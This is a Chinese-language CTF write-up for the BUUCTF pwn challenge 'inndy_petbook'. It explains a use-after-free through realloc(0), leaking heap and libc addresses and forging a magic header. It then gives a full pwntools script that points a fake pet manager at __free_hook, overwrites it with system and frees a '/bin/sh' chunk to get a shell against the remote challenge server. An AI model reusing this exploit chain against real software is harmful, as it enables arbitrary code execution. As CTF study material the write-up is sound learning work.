[BUUCTF-pwn] inndy_petbook

写着写着自己都乱了。

菜单很长,块也很大看起来极不方便。

先是建用户和登录这个没啥,然后就是post,每个post会有一个管理块。整理一下大概关系是这样的: 用户块0x220->0x20->0x120->post信息,其中用户块没有溢出,但post有realloc修改,好像就这一个漏洞点。

另外每个头上加了migic:2字节序号+2字节校验。这个可以泄露但如果序号在0x100以下会被截断,所以要先建256块再泄露。

主要思路:

  1. 建用户登录
  2. 建255个小块(用户也占用块序号)将块序号增到两字节
  3. 建0x118,0x218将来用realloc(0)释放后UAF来控制新用户块
  4. 用realloc(0)功能释放255-258
  5. show得到堆地址和libc地址
  6. 新建一个用户,使用刚释放的0x220的块(这个可以控制)将生成magic
  7. 再用第1个用户进,show得到magic
  8. 建一个fack_pet_manager块,写入伪造的magic头和pet指针,这里指向free_hook
  9. 修改0x220块(新用户)在尾部伪造指针,指向fake_pet_manager。这时用户B->fake_pet_manager->free_hook
  10. 用用户B登录,修改pet_name在free_hook写入system
  11. 再建个写/bin/sh的块释放得到shell
from pwn import *

'''
patchelf --set-interpreter ../buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
patchelf --add-needed ../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
'''

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('node4.buuoj.cn', 26888) 

libc_elf = ELF('../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'

menu = b' >>\n'
def add_user(name,pas):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(menu, name)
    p.sendlineafter(menu, pas)

def user_login(name, pas):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, name)
    p.sendlineafter(menu, pas)

def add_post(title,size,msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b'Title >>\n', title)
    p.sendlineafter(b'Content Length >>\n', str(size).encode())
    p.sendlineafter(b'Content >>\n', msg)

def add_post2(title,size,msg):
    p.sendline(b'1')
    p.sendline(title)
    p.sendline(str(size).encode())
    p.sendline(msg)

def edit_post(idx, title, size, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(menu, title)
    p.sendlineafter(menu, str(size).encode())
    if size>0:
        p.sendlineafter(menu, msg)

def edit_post2(idx, title, size, msg):
    p.sendline(b'3')
    p.sendline(str(idx).encode())
    p.sendline(title)
    p.sendline(str(size).encode())

def logout():
    p.sendlineafter(menu, b'0')

def logout2():
    p.sendline(b'0')

def show():
    p.sendlineafter(menu, b'2')

def show2():
    p.sendline(b'2')

def add_pet(msg):
    p.sendlineafter(menu, b'5')
    p.sendlineafter(b"Name your pet >>\n", msg)

def edit_pet(msg):
    p.sendlineafter(menu, b'6')
    p.sendlineafter(b"Name your pet >>\n", msg)

#x220->x20->x120->n:content
context.log_level = 'debug'

add_user(b'A', b'A')
user_login(b'A', b'A')

[add_post2(b'A', 8, b'A') for i in range(255)]
add_post2(b'A', 0x118, b'A') #257
add_post2(b'A', 0x218, b'A') #258
edit_post2(0x101, b'A', 0, b'A') #UAF 0x120 A120
edit_post2(0x102, b'A', 0, b'A') #UAF 0x220 A220
edit_post2(0xff, b'A', 0, b'A') #UAF 0x20 A20
edit_post2(0x100, b'A', 0, b'A') #UAF 0x20 A20


show()
p.recvuntil(b'257')
p.recvuntil(b'Content: ')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
one_gadget       = libc_base + one[0]
print('libc:', hex(libc_base))

p.recvuntil(b'256')
p.recvuntil(b'Content: ')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print('heap:', hex(heap_addr))

logout()

add_user(b'B', b'B')
#get magic
user_login(b'A', b'A')
show()
p.recvuntil(b'258')
p.recvuntil(b'Content: ')
magic = p.recv(4)
print('magic:', magic)

add_post(b'A', 0x18, p16(261)+ magic[2:4]+ b'AAAA' + p64(libc_elf.sym['__free_hook']))  #fake_pet_manager free_hook pet
#clear link_cnt +0x210 = 0  ptr_pet->fake_pet_manager
edit_post(258, b'A', 0x218, magic + b'B'.ljust(0x100, b'\x00') + b'B'.ljust(0x100, b'\x00') + b'A'*4 + p64(heap_addr+0x10)+p64(0))

logout()

user_login(b'B', b'B')
edit_pet(p64(libc_elf.sym['system']))
add_post(b'/bin/sh', 8, b'/bin/sh')
edit_post(261, b'A',0, b'A')

p.sendline(b'cat /flag')
p.interactive()

作完了看吧也不难,但远程卡了,时间不够会超时。这里需要把sendlineafter改为sendline这样会节省大量的时间才能成功。

上一篇:BUUCTF pwn wp 51 - 55


下一篇:2022 RWCTF PWN SVME